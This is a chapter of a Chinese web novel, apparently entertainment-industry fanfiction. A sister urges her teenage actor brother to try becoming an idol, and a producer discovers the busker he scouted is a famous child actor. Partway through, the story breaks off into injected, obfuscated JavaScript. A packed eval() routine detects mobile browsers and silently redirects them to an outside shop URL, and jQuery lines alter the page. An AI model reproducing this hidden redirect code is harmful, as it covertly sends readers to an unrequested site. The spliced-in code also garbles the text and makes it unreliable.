3. 家庭背景调查

作品:《[娱乐圈]巴别塔

    安宥拉拖着行李箱走出仁川机场时,活活感觉自己像刚从战区撤下来的难民。


    十四个小时的长途飞行将她的生物钟彻底搅乱,胃里只剩下飞机餐留下的虚浮感,她拦下一辆出租车,报出地址。


    此刻她非常需需要一顿普普通通的韩餐。


    安宥拉刚将第一口面条送进嘴里,就看见门口晃进一个熟悉的身影。


    黑色口罩,灰色连帽衫,微卷的黑发从帽檐边缘探出来,个子……


    好像抽条了些?但身形依旧那么单薄。


    她抬手挥了挥,便继续埋头对付碗里的面条。


    天知道在美国留学这一年,她是怎么活下来的,那些可恶的白人饭把她折磨得有多惨!!


    安岁秋在她对面坐下,摘下口罩,“点我的了吗?”


    安宥拉摆手,嘴里塞得满满当当,含糊不清,“没,不知道你要吃什么。”


    安岁秋低头翻了好一阵菜单,最后还是指向墙上的招牌炸酱面 。这个时间客人不多,面很快端了上来,他拿起筷子,慢条斯理地将混杂在面条里的胡萝卜丁一颗颗挑出来,堆在碗边。


    安宥拉吃下半碗面,终于感觉空荡荡的胃落到了实处,长途飞行带来的散架感被食物一点点抚平,连时差造成的昏沉都消减了几分。


    她抬眼看向自家弟弟——


    安岁秋正慢吞吞地嚼着嘴里的面条,眼神放空,仿佛进食只是维持生命体征的机械运动,就连那张过分好看的脸,也未能让这个画面看起来更有食欲。


    半年未见,他脸上的婴儿肥褪去些许,轮廓显露出少年人特有的清俊骨骼,但那双眼睛没变。浅棕色的瞳孔,看人时总是很专注,像能一眼望到底。


    “长高了吗?”


    安宥拉伸手捏了捏弟弟的脸颊,“怎么还是这么瘦?”皮肤很软,却只是薄薄一层覆在骨头上,没什么多余的肉。


    “呀,真要好好吃饭啊。”她忍不住念叨。


    安岁秋任她捏,甚至还微微侧脸配合, “上个月量是164,应该是胖了一点的。”他伸出食指和大拇指比了会个让韩男破防的手势。


    “哥哥们总喜欢投喂我,我吃了不少的,但就是不怎么长肉。”


    “别以为我听不出来你小子是在炫耀。”


    安岁秋眯起眼睛笑了,两个小小的梨涡陷下去,配上蓬松的软发,像只恶作剧得逞的小狐狸。


    还是未成年那种,浑身都是毛茸茸的幼态感。


    安宥拉也笑起来。


    她不笑时总带着几分冷艳疏离,但笑起来却和弟弟如出一辙,明媚又生动,姐弟俩虽然在陌生人面前总端着清冷的架子,但对亲近的人却是一般无二的温柔。


    两人都没特意打扮,一个刚下国际航班,一个宅了几天才出门,却依旧掩不住过分出众的样貌。


    邻桌几个女高中生频频偷瞄,小声嘀咕着“大发”,好在都很有礼貌,没掏出手机。


    走出餐厅,安岁秋伸手要去拉行李箱,却被安宥拉用身高优势轻轻挡开,还顺手揉乱了他本就蓬松的头发。


    “我自己来,别把你这个小个子压坏了。”


    “好好吃饭才能长高,别等到成年还没我高。”


    安岁秋扯出一个没什么诚意的笑,“我还没发育完呢,离成年还早,但姐姐你已经不会长了。”


    “行行行,那我现在也比你高。”


    安宥拉推着箱子往前走,“你就别老宅着,多锻炼锻炼,体力比我还差。”


    她比安岁秋大四岁,去年独自去了纽约视觉艺术学院读珠宝设计[1],一点没担心在异国他乡会不适应。


    姐弟俩上一次见面还是今年春节,他们的父母也从中国回来,一家人在春川爷爷奶奶的别墅团聚,顺便给她过了十九岁生日。


    他们家养孩子向来随意,安岁秋两岁时,母亲就因为工作需要而调去了中国。


    父亲带他到能上小学的年纪,便也当起了甩手掌柜,把姐弟俩交给了春川的爷爷奶奶,自己则跑去中国找妻子,顺带还在那里开了几家咖啡连锁店。


    两位老人只关心孩子们身心健康,秉持“不违法乱纪干什么都支持”的溺爱原则。


    因此安宥拉和安岁秋都养成了相当自我的性子。在家庭支持和财务自由的底线上,想做什么便去做,想学什么便去学。


    当年安岁秋与FNC签约时,父母甚至没细问他是去做什么“练习生”,一度以为小儿子是去当偶像。


    直到安宥拉在电视上看到弟弟的脸,才知道他签的是演员约,不是爱豆。


    安岁秋对此表示,其实你们都半斤八两。


    “你这次回来打算待多久”


    “一个月?我打算先在首尔玩一周,顺便见见朋友,再回春川”


    “哦…”


    安宥拉放下正在和朋友聊天的手机,看出弟弟的欲言又止,“你想说什么?”


    “姐你觉得……idol怎么样?”安岁秋眨眨眼,看向留学后明显成熟不少的姐姐。


    “你现在不想当演员,想当偶像了?”


    “也不算吧,只是有点好奇。”


    他顿了顿,“不过大概也不是传统那种偶像,可能会是Bigbang那样的?比较自由,没那么死板。”


    安宥拉一听就知道这小子已经在心里有了偏向,只是想找人倾听一下他的想法。


    “好奇就去试试呗,不试试怎么知道,错过机会可是会后悔的”


    “爸妈那边不用担心,他们一直以为你早就在唱跳了。爷爷奶奶更不用说,从不干涉我们。至于我……”


    她笑起来,“我还等着你出道后帮我要签名呢。”


    “别想那么远。”安岁秋无奈,“我还没想好。”


    “不应该啊。”


    “你在纠结什么?家庭没压力,学业没压力,经济也没压力……”


    “啊,你不会是怕你那几个搞乐队的哥哥生气吧?”


    安宥拉了解自己弟弟,她几乎是看着他从小屁孩长成现在这副招人喜欢的模样,也看着他怎么被FNC那群哥哥们宠上天。


    那些人是真的把他当亲弟弟疼——接送上下学,带他吃饭,教他乐器,连写歌都拉着一起。


    安岁秋不说话,只是摆弄自己的手指。


    “安安。”


    她叹了口气,轻声说,“人对你好,不是要绑住你,他们对你好,是因为你值得,不是要你回报。”


    安岁秋抬眼看她。


    “而且。”


    安宥拉笑了,“你要是真觉得对不起他们,等以后红了,多给他们写几首歌不就行了?对了——”


    她眼睛一亮,“你去做爱豆一定要记得帮我要签名!我要F(x)全体的!特别是郑秀晶的!她可太好看了!”


    “姐……”


    “我说真的!”她越说越兴奋,“还有SHINee的Key,他的时尚品味我超喜欢!啊,还有2PM的尼坤……”


    安岁秋无奈地看着她滔滔不绝地列清单,心里那点纠结莫名其妙散了些。


    是啊,哥哥们从来不是他的枷锁,李弘基总说:“我们安安想做什么就去做,天塌下来有哥哥们顶着。”


    “我会考虑的。”他终于说。


    “不是考虑,是去试试。”


    安宥拉敲他额头,“你才十五岁,试错成本低得很。”


    “大不了试完不喜欢,回来继续上学,或者继续演戏,对了,你合约不是刚结束吗?正好自由。”


    安岁秋揉了揉额头,笑了,“知道了。”


    “乖。”


    安宥拉满意地捏了捏弟弟的脸,突然想起什么,“对了,你带我去你们公司看看呗?我还没见过郑容和真人呢,电视上看着挺帅——”


    “姐~”


    “好好好,不开玩笑。”她举手投降。


    出租车正好停在酒店门口,安宥拉压下安岁秋的肩膀,自己下车接过司机递来的行李箱。


    她站在车窗外,对弟弟挥了挥手,声音清晰,“先去做,才会有结果。听懂了吗?”


    那天的夕阳把办公室染成暖金色时,方时赫还沉浸在发现宝藏的兴奋里。于是他约了多年好友、同为音乐制作人的朴在浩在公司附近的烤肉店吃饭,刚落座就迫不及待地掏出手机。


    “你猜我今天遇见什么了?”


    方时赫眼睛发亮,小眼睛几乎要眯成两条缝,“一个宝藏,真正的宝藏!”


    朴在浩熟练地翻烤着五花肉,头也不抬,“又是哪个?上次你也说发现个‘十年一遇的主唱’,结果人家第二天就去了JYP。”


    “这次不一样!”


    方时赫身体前倾,压低声音,“街头表演,临时被拉上台的。”


    “贝斯——那把琴一看就是好货,弹得那叫一个稳,还会自己编和声,唱功不错,音色特别,辨识度也高。”


    他顿了顿,补充道,“而且眉眼特别漂亮,虽然戴着口罩,但那双眼睛……啧,我就没见过那么好看的眼睛。”


    朴在浩终于抬起头,夹了块烤得焦香的五花肉放进生菜里,卷好一把塞进嘴里。


    “行行行,知道了,现在小孩是越长越逆天了,我们这些老家伙就该被淘汰了。”


    他想起什么,自顾自感慨起来,“前两天我还陪老婆追剧呢,就是那部……《你能听到我的心吗》[2],你看过吗?”


    “哎一古,里面那小孩,长得那叫一个机灵漂亮,演戏还好。再看看我家那小子,皮得能上房揭瓦,昨天家长会老师又找我谈话……”


    说着说着,朴在浩发现对面没声了。


    方时赫举着生菜包肉的手停在半空,眯着本就不大的眼睛,整个人像被按了暂停键。暖黄的灯光在他圆脸上投下深深浅浅的阴影,那张总是表情丰富的脸此刻一片空白。


    “咋了?”


    朴在浩伸手在他眼前晃了晃,“肉要掉了。”


    方时赫突然一个激灵,手里的生菜包肉掉进碟子,酱汁溅到衬衫袖口上。他浑然不觉,猛地一拍桌子——身上的肉跟着颤了一下,桌上的碗碟叮当作响。


    “啊!”


    他张大嘴巴,眼睛瞪到极限,“我想起来了!”


    朴在浩被他吓了一跳,“想起什么了?”


    “千年一遇美少年[3]!”


    方时赫声音拔高,“那个称号!是不是有个童星,媒体封的‘千年一遇美少年’?”


    “好像……是有这么个说法?”


    “之前哪个报道上看过……”


    方时赫已经手忙脚乱地掏手机,肥短的手指在屏幕上戳得飞快。烤肉店的WiFi信号不太好,加载圆圈转了好几秒,搜索结果才跳出来。


    第一个词条就是——


    安岁秋(An Se-chu)


    1996.10.04


    2008年6月与FNC签约,成为旗下第一位少年演员</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394852|200357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    下面是一长串作品列表。


    方时赫的手指往下滑,越滑越慢。


    2009年10月,在电视剧《原来是美男啊》中饰少年黄泰京[4]——天赋异禀却身世敏感,用傲娇毒舌伪装内心柔软的天才少年歌手。


    2010年5月,在电视剧《巨人》中饰演少年李江慕[5]——家庭变故后从调皮顽童被迫长大,坚韧护弟妹、敢拼敢闯的少年。


    2011年4月,在电视剧《你能听到我的心吗》中饰演童年车东株[2]——目睹惨剧致听障的财阀继承人,聪慧敏感,藏着对童年约定的执念。


    2011年6月,在电影《熔炉》中饰演全民秀[6]——长期受虐的聋哑少年,隐忍倔强,因司法不公走向极端复仇的悲剧角色。


    每一条后面都跟着媒体评价和观众反响,《熔炉》那条下面甚至有一行小字标注:“该电影上映后引发社会广泛讨论,促成相关法案修订讨论。”


    屏幕的光映在方时赫脸上,那张圆脸从最初的兴奋,到困惑,到恍然大悟,最后凝固成一种复杂的空白。


    烤肉在铁板上滋滋作响,油花迸溅,空气里弥漫着焦香。


    “怎么了?”


    朴在浩探头过来看手机,然后也愣住了,“难不成……这就是你刚才说的那个……”


    “是他。”


    方时赫的声音干涩,“安岁秋。”


    三个字,每个音节都沉甸甸的。


    朴在浩看看手机,又看看好友那张失魂落魄的脸,突然明白了什么。


    他小心翼翼地问:“你给他名片了?”


    “给了。”


    “他收了?”


    “收了。”


    “然后呢?”


    “他说会考虑。”


    方时赫扯出一个比哭还难看的笑,“现在我知道他为什么说‘会考虑’了。”


    朴在浩沉默地往他杯子里添了烧酒,透明的液体注入玻璃杯,泡沫升起又破碎。


    方时赫盯着手机屏幕上那张新闻配图——


    应该是某次发布会抓拍,少年穿着简单的白衬衫,微微侧头看向镜头,深棕色眼眸清澈透亮,唇角带着礼貌的弧度。碎发柔软地搭在额前,脖颈间隐约能看到一根细细的红绳。


    就是今天下午那个戴口罩的贝斯手。


    一模一样的身形,一模一样的眼睛。


    “我居然……”


    方时赫喃喃道,“我居然对着一个演过国民剧、拍过现象级电影的演员,大谈特谈什么‘出道机会’、‘舞台梦想’……”


    他想起自己滔滔不绝说的那些话,每一句都像个小丑的台词。


    朴在浩拍了拍他的肩膀,“往好处想,至少证明你眼光毒。街头随便抓一个都是这种级别的苗子。”


    “这哪是苗子?”


    方时赫苦笑,“这已经是棵长成了的树了。”


    “你看看这些作品,这些评价!!FNC把他当宝贝供着都来不及,怎么可能放人?”


    他滑动屏幕,更多资料跳出来:媒体专访、观众评价、业内口碑。一条去年底的报道标题格外刺眼——《新生代演员安岁秋:用演技说话的‘美少年’》。


    报道里写道:“在偶像化日益严重的演艺圈,安岁秋选择了一条不同的路。他拒绝过度曝光,专注演技打磨,从傲娇天才到聋哑少年,每个角色都展现出超越年龄的理解力和表现力……”


    方时赫感觉心一点点往下沉。


    所以,当电话响起时,方时赫完全没听出对面是谁的声音。


    毕竟距离那天递出名片已过去一周,更何况他后来才明白,对方口中的“演员”不是指练习生,而是实打实有作品的出道演员,收到回复的可能性,在他看来几乎为零。


    他只是觉得电话那头的声音很好听,音色条件优越,唱歌很有优势。


    直到听筒里清晰传来“安岁秋”三个字,方时赫才从胡乱发散的思绪中猛地抓住那根红线——


    安岁秋!


    工作人员只听见“哐当”一声,便看见办公室里那团模糊的身影,正努力迈着不长的腿,快步冲向楼梯间。


    尿急吗?


    ------------------------


    参考文献:


    [1]  Silas H. Rhodes, Burne Hogarth(创). 纽约视觉艺术学院[S]. 美国纽约, School of Visual Arts, 1947.


    [2]  金尚昊(导), 黄正音, 金载沅(主). 你能听到我的心吗[TV]. 姜澯熙(饰童年车东株). 首尔, MBC, 2011-04-02 .


    [3] 日本媒体/网络. 道枝骏佑[PE]. 千年一遇美少年/千年难得一见美少年. 日本, 2017.


    [4]  洪成昌(导), 张根硕, 朴信惠(主). 原来是美男啊[TV]. 姜秀韩(饰少年黄泰京). 首尔, SBS, 2009-10-07 .


    [5]  刘仁植(导), 李凡秀, 朴真熙(主). 巨人[TV]. 吕珍九(饰少年李江慕). 首尔, SBS, 2010-05-10 .


    [6]  黄东赫(导), 孔刘, 郑有美(主). 熔炉[MOV]. 白承焕(饰全民秀). 首尔, 韩国, 2011-09-22.